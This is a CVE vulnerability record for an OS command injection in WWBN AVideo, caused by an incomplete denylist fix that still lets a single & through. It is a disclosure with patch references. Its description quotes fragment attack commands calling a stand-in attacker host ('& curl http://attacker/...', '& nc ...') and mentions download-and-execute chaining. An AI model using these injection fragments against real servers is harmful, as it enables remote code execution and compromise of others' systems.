CVE-2026-55173

{
  "id": "CVE-2026-55173",
  "sourceIdentifier": "[email protected]",
  "published": "2026-07-16T21:17:21.483",
  "lastModified": "2026-10-24T20:10:00.137",
  "vulnStatus": "Deferred",
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de código abierto. Las versiones 29.0 e inferiores siguen siendo vulnerables a la inyección de comandos del sistema operativo porque la corrección para CVE-2026-33482 fue incompleta y aún no neutraliza un solo & (el operador de segundo plano del shell). CVE-2026-33482 informó que sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) no logró eliminar la sustitución de comandos $(...), permitiendo la inyección de comandos del sistema operativo en el sumidero execAsync() sh -c. La corrección (commit 25c8ab90) añadió $, (, ), {, }, \\n, \\r a la clase de caracteres de la lista negra y un str_replace(’&&’, ’’, ...), pero no tuvo en cuenta el único &. ffmpeg.json.php construye el comando a partir de _decryptString(getInput(’codeToExecEncrypted’)). Este es el mismo modelo de amenaza que el aviso original aceptó (’un atacante que puede crear una carga útil cifrada válida puede lograr la ejecución arbitraria de comandos en el servidor codificador independiente’) y la misma base CVSS (AV:N/AC:H/PR:N). Múltiples comandos separados por & pueden encadenarse (por ejemplo, descargar + ejecutar). Las cargas útiles basadas en redirección son bloqueadas por la eliminación de >, pero la ejecución de comandos (por ejemplo, & curl http://atacante/..., & nc ..., soltar/ejecutar un archivo) no lo es. Este problema ha sido parcheado por este commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f."
    }
  ],
  "affected": [
    {
      "source": "[email protected]",
      "affectedData": [
        {
          "vendor": "WWBN",
          "product": "AVideo",
          "versions": [
            {
              "version": "<= 29.0",
              "status": "affected"
            }
          ]
        }
      ]
    }
  ],
  "metrics": {
    "cvssMetricV31": [
      {
        "source": "[email protected]",
        "type": "Secondary",
        "cvssData": {
          "version": "3.1",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "attackVector": "NETWORK",
          "attackComplexity": "HIGH",
          "privilegesRequired": "NONE",
          "userInteraction": "NONE",
          "scope": "UNCHANGED",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "availabilityImpact": "HIGH"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "timestamp": "2026-07-17T13:44:11.844066Z",
          "id": "CVE-2026-55173",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "version": "2.0.3"
        }
      }
    ]
  },
  "weaknesses": [
    {
      "source": "[email protected]",
      "type": "Secondary",
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ]
    }
  ],
  "references": [
    {
      "url": "https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f",
      "source": "[email protected]"
    },
    {
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f",
      "source": "[email protected]"
    },
    {
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f",
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
    }
  ]
}